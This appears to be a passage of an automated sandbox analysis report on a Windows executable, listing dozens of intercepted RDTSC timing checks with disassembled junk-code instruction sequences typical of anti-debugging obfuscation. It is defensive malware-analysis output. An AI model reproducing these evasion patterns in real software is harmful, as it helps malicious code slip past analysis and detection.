Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82104 second address: D8210A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8210A second address: D82119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB248C33EAh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85DB6 second address: D85DBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85DBA second address: D85DBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85DBE second address: D85DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A2D0 second address: D8A2D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A2D4 second address: D8A2F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FAB24F20E75h 0x0000000b pop esi 0x0000000c push edx 0x0000000d push esi 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D910E1 second address: D910F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FAB248C33E6h 0x0000000a jmp 00007FAB248C33EDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D910F8 second address: D910FE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D910FE second address: D91107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91107 second address: D91137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB24F20E6Fh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007FAB24F20E78h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91137 second address: D91145 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FAB248C33E8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91145 second address: D91149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91149 second address: D9114F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91278 second address: D91290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB24F20E73h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91290 second address: D912AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAB248C33F9h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D912AF second address: D912B9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91764 second address: D91768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91768 second address: D9177C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E6Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9177C second address: D917AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33F5h 0x00000007 jmp 00007FAB248C33F3h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D917AC second address: D917B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D917B2 second address: D917B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D918E2 second address: D91925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB24F20E77h 0x00000009 pop esi 0x0000000a push edx 0x0000000b jmp 00007FAB24F20E6Bh 0x00000010 pop edx 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 push eax 0x00000016 pop eax 0x00000017 jmp 00007FAB24F20E6Dh 0x0000001c pop ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91925 second address: D9192D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9192D second address: D91942 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E6Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007FAB24F20E66h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91C17 second address: D91C3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FAB248C33F6h 0x0000000f jmp 00007FAB248C33EAh 0x00000014 js 00007FAB248C33E6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91C3F second address: D91C46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91C46 second address: D91C51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9269B second address: D926E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E76h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FAB24F20E7Eh 0x0000000f jmp 00007FAB24F20E76h 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edi 0x00000018 pop edi 0x00000019 jbe 00007FAB24F20E66h 0x0000001f pop eax 0x00000020 push ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96164 second address: D9616A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9616A second address: D96186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB24F20E70h 0x00000009 jnp 00007FAB24F20E6Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95E6D second address: D95E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95E71 second address: D95E7E instructions: 0x00000000 rdtsc 0x00000002 jo 00007FAB24F20E66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1A35 second address: DA1A3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB015C second address: DB0162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB0162 second address: DB01C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 jmp 00007FAB248C33F2h 0x0000000c jmp 00007FAB248C33F2h 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 ja 00007FAB248C33EEh 0x0000001a pushad 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d jmp 00007FAB248C33EFh 0x00000022 jmp 00007FAB248C33ECh 0x00000027 push edi 0x00000028 pop edi 0x00000029 popad 0x0000002a pushad 0x0000002b pushad 0x0000002c popad 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB2DD4 second address: DB2E1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAB24F20E70h 0x00000008 jmp 00007FAB24F20E74h 0x0000000d jmp 00007FAB24F20E77h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jbe 00007FAB24F20E66h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB2E1B second address: DB2E1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB29F5 second address: DB2A35 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 js 00007FAB24F20E66h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edi 0x00000013 pushad 0x00000014 jmp 00007FAB24F20E77h 0x00000019 jmp 00007FAB24F20E71h 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCAFBA second address: DCAFED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB248C33EEh 0x00000009 jo 00007FAB248C33E6h 0x0000000f popad 0x00000010 jnc 00007FAB248C33F6h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB2B5 second address: DCB2C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jl 00007FAB24F20E66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB2C1 second address: DCB2CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007FAB248C33E6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB2CD second address: DCB2D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB859 second address: DCB85F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB85F second address: DCB867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB867 second address: DCB86D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCB9E1 second address: DCBA17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB24F20E74h 0x00000009 jmp 00007FAB24F20E79h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCBA17 second address: DCBA6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33F1h 0x00000007 jnc 00007FAB248C33E6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007FAB248C33F3h 0x00000015 pushad 0x00000016 popad 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a popad 0x0000001b pushad 0x0000001c jmp 00007FAB248C33ECh 0x00000021 push eax 0x00000022 jmp 00007FAB248C33F3h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD6AC second address: DCD6C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E6Ch 0x00000007 ja 00007FAB24F20E66h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD6C5 second address: DCD6CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD6CD second address: DCD6D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD6D3 second address: DCD6DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD6DC second address: DCD6EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007FAB24F20E66h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD4F1 second address: DCD50D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FAB248C33F3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD50D second address: DCD51A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jo 00007FAB24F20E66h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD51A second address: DCD546 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FAB248C33ECh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FAB248C33F3h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD546 second address: DCD54A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCD54A second address: DCD550 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1714 second address: DD1733 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jc 00007FAB24F20E7Dh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FAB24F20E6Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1BEA second address: DD1C45 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAB248C33F4h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jne 00007FAB248C33E9h 0x00000013 mov dx, di 0x00000016 push dword ptr [ebp+122D24B0h] 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007FAB248C33E8h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 0000001Dh 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 mov edx, edi 0x00000038 push 6D7B6276h 0x0000003d push ebx 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0A22 second address: CE0A2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FAB24F20E66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0A2C second address: CE0A30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE0A30 second address: CE0A43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c jnp 00007FAB24F20E66h 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30255 second address: 4A302FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAB248C33F2h 0x00000009 sbb ecx, 135D76B8h 0x0000000f jmp 00007FAB248C33EBh 0x00000014 popfd 0x00000015 mov dx, cx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d mov bx, si 0x00000020 mov cx, 9083h 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007FAB248C33F4h 0x0000002e xor eax, 71289048h 0x00000034 jmp 00007FAB248C33EBh 0x00000039 popfd 0x0000003a pushfd 0x0000003b jmp 00007FAB248C33F8h 0x00000040 xor ecx, 19D1D2A8h 0x00000046 jmp 00007FAB248C33EBh 0x0000004b popfd 0x0000004c popad 0x0000004d mov edx, dword ptr [ebp+0Ch] 0x00000050 push eax 0x00000051 push edx 0x00000052 jmp 00007FAB248C33F5h 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A302FD second address: 4A30359 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FAB24F20E77h 0x00000008 pop esi 0x00000009 pushfd 0x0000000a jmp 00007FAB24F20E79h 0x0000000f adc ecx, 21EBCED6h 0x00000015 jmp 00007FAB24F20E71h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e mov ecx, dword ptr [ebp+08h] 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov al, bl 0x00000026 movzx eax, dx 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30359 second address: 4A3035F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A30383 second address: 4A303AD instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FAB24F20E6Ch 0x00000008 and ax, 6E88h 0x0000000d jmp 00007FAB24F20E6Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 pop ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A303AD second address: 4A303B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A303B1 second address: 4A303B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A303B5 second address: 4A303BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6002A second address: 4A60046 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E78h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60046 second address: 4A600D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FAB248C33F6h 0x0000000f mov ebp, esp 0x00000011 jmp 00007FAB248C33F0h 0x00000016 xchg eax, ecx 0x00000017 pushad 0x00000018 push ecx 0x00000019 mov edx, 37E97AC0h 0x0000001e pop edi 0x0000001f pushfd 0x00000020 jmp 00007FAB248C33F6h 0x00000025 xor ecx, 307F7108h 0x0000002b jmp 00007FAB248C33EBh 0x00000030 popfd 0x00000031 popad 0x00000032 push eax 0x00000033 jmp 00007FAB248C33F9h 0x00000038 xchg eax, ecx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A600D2 second address: 4A600E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A600E5 second address: 4A60186 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB248C33F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FAB248C33EEh 0x0000000f push eax 0x00000010 pushad 0x00000011 mov cx, dx 0x00000014 pushfd 0x00000015 jmp 00007FAB248C33EDh 0x0000001a and cx, CD96h 0x0000001f jmp 00007FAB248C33F1h 0x00000024 popfd 0x00000025 popad 0x00000026 xchg eax, esi 0x00000027 jmp 00007FAB248C33EEh 0x0000002c lea eax, dword ptr [ebp-04h] 0x0000002f jmp 00007FAB248C33F0h 0x00000034 nop 0x00000035 pushad 0x00000036 push eax 0x00000037 jmp 00007FAB248C33EDh 0x0000003c pop esi 0x0000003d pushad 0x0000003e mov bx, CBE2h 0x00000042 popad 0x00000043 popad 0x00000044 push eax 0x00000045 pushad 0x00000046 mov esi, edx 0x00000048 mov bx, 57F4h 0x0000004c popad 0x0000004d nop 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60186 second address: 4A6019A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E70h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A6025D second address: 4A60275 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAB248C33F4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60275 second address: 4A60279 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A60279 second address: 4A602B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FAB248C33F8h 0x00000012 add al, 00000048h 0x00000015 jmp 00007FAB248C33EBh 0x0000001a popfd 0x0000001b mov ch, C5h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A602B0 second address: 4A602B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A602B6 second address: 4A602BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50097 second address: 4A500FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB24F20E79h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 2EE7C1A9h 0x0000000e pushad 0x0000000f mov di, 3560h 0x00000013 pushfd 0x00000014 jmp 00007FAB24F20E79h 0x00000019 sbb esi, 08570A66h 0x0000001f jmp 00007FAB24F20E71h 0x00000024 popfd 0x00000025 popad 0x00000026 xor dword ptr [esp], 5B495FE1h 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A500FE second address: 4A50102 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50102 second address: 4A50108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A50108 second address: 4A50149 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAB248C33F0h 0x00000009 adc ecx, 6B613538h 0x0000000f jmp 00007FAB248C33EBh 0x00000014 popfd 0x00000015 mov esi, 2C016F6Fh 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d call 00007FAB248C33E9h 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov bx, 55B2h 0x00000029 mov dh, 1Ah 0x0000002b popad 0x0000002c rdtsc
